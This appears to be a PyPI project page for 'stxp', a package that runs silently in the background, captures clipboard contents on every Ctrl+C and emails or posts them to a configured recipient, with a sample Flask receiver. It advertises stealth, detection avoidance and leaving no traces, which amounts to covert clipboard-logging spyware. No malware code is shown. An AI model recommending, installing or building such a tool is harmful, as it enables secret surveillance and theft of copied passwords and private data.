Skip to main content

A tool to capture selected text and send via email

Project description

STXP - Stealth Text Capture and Email Tool

A privacy-focused tool for capturing selected text and sending it via email with enhanced stealth capabilities.

Features

  • Stealth Operation: Runs silently in the background with no visible traces
  • Dual Sending Methods: Support for both direct SMTP and Web POST methods
  • Automatic Cleanup: Removes all temporary files when exiting
  • Privacy Enhanced: Uses temporary directories to avoid detection
  • Clipboard Monitoring: Automatically captures Ctrl+C operations
  • Secure Authentication: Supports API keys and Bearer tokens

Installation

pip install stxp

Quick Start

1. Setup Configuration

stxp --config

2. Start Monitoring

stxp

3. Usage

  • Press Ctrl+C to capture text from clipboard
  • Press Ctrl+Z to exit the program

Configuration Options

Method 1: Direct SMTP (Traditional)

Configure your email settings directly:

  • SMTP Server
  • Port
  • Email credentials
  • Recipient email

Method 2: Web POST (Recommended)

Configure web service settings:

  • Web service URL
  • API Key (optional)
  • Recipient email

Web POST Method

The Web POST method provides enhanced security by not storing SMTP credentials on the client side.

Data Format

{
    "text": "clipboard content",
    "timestamp": "0115_1430",
    "recipient": "user@example.com"
}

Authentication Headers

Authorization: Bearer your-api-key-here
X-API-Key: your-api-key-here

Web Service Requirements

Your web service needs to:

  1. Handle POST requests: Process JSON formatted data
  2. SMTP Configuration: Handle SMTP settings on the server side
  3. Authentication: Validate API keys
  4. Response Format: Return HTTP 200 for success

Example Web Service Endpoint

# Flask Example
@app.route('/api/send-email', methods=['POST'])
def send_email():
    data = request.get_json()
    
    # Validate API key
    api_key = request.headers.get('Authorization', '').replace('Bearer ', '')
    if api_key != 'your-api-key-here':
        return jsonify({'error': 'Unauthorized'}), 401
    
    # Send email
    try:
        # Use server-side SMTP settings to send email
        send_email_via_smtp(data['text'], data['recipient'])
        return jsonify({'status': 'success'}), 200
    except Exception as e:
        return jsonify({'error': str(e)}), 500

Command Line Options

stxp                    # Start listening (stealth mode)
stxp --config          # Setup email configuration
stxp --debug           # Enable debug mode
stxp --help            # Show help information

Security Benefits

Web POST Method

  • No SMTP passwords stored on client
  • API keys can be revoked anytime
  • Server-side can implement additional security measures
  • Supports HTTPS encrypted transmission

Traditional SMTP

  • Maintains original functionality
  • Suitable for internal network use
  • Direct SMTP connection

Technical Details

Dependencies

  • pynput>=1.7.0 - Keyboard monitoring
  • pyperclip>=1.8.0 - Clipboard access
  • requests>=2.25.0 - HTTP requests for Web POST

Privacy Features

  • Uses temporary directories for configuration
  • Automatic cleanup of all temporary files
  • No persistent file traces
  • Silent operation mode

Development

Project Structure

stxp/
├── __init__.py        # Package initialization
├── main.py           # Main application logic
├── install.py        # Installation utilities
└── test_stxp.py      # Test suite

Building from Source

git clone <repository>
cd stxp
pip install -e .

License

This project is licensed under the MIT License - see the LICENSE file for details.

Contributing

  1. Fork the repository
  2. Create a feature branch
  3. Make your changes
  4. Add tests if applicable
  5. Submit a pull request

Support

For issues and questions, please open an issue on the GitHub repository.


Note: This tool is designed for legitimate text capture and email forwarding purposes. Please ensure compliance with local laws and regulations regarding privacy and data protection.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

stxp-1.2.0.tar.gz (11.7 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

stxp-1.2.0-py3-none-any.whl (10.6 kB view details)

Uploaded Python 3

File details

Details for the file stxp-1.2.0.tar.gz.

File metadata

  • Download URL: stxp-1.2.0.tar.gz
  • Upload date:
  • Size: 11.7 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.0

File hashes

Hashes for stxp-1.2.0.tar.gz
Algorithm Hash digest
SHA256 619cdab8ae5bf09483b5d61e761097bb0c8d49bac1274f78c3d8648608604112
MD5 fe7b52ed3ad2018551f09ce6c3a64136
BLAKE2b-256 d934250342a971c7c69e9f85192afd88f84e4d6eaf7e6a6293df93b209ff7e1f

See more details on using hashes here.

File details

Details for the file stxp-1.2.0-py3-none-any.whl.

File metadata

  • Download URL: stxp-1.2.0-py3-none-any.whl
  • Upload date:
  • Size: 10.6 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.0

File hashes

Hashes for stxp-1.2.0-py3-none-any.whl
Algorithm Hash digest
SHA256 f5e5b635bd6bb238002a145527ff8a3a1e760e047888fe2f61c5e29d2e02ffc4
MD5 69ca8fc09ec0e0dc450d6f0d72fb2395
BLAKE2b-256 023a9e165f3abe9ca6451d7fe430a9734153e770cb3eb52aad28cbee4ed06f93

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page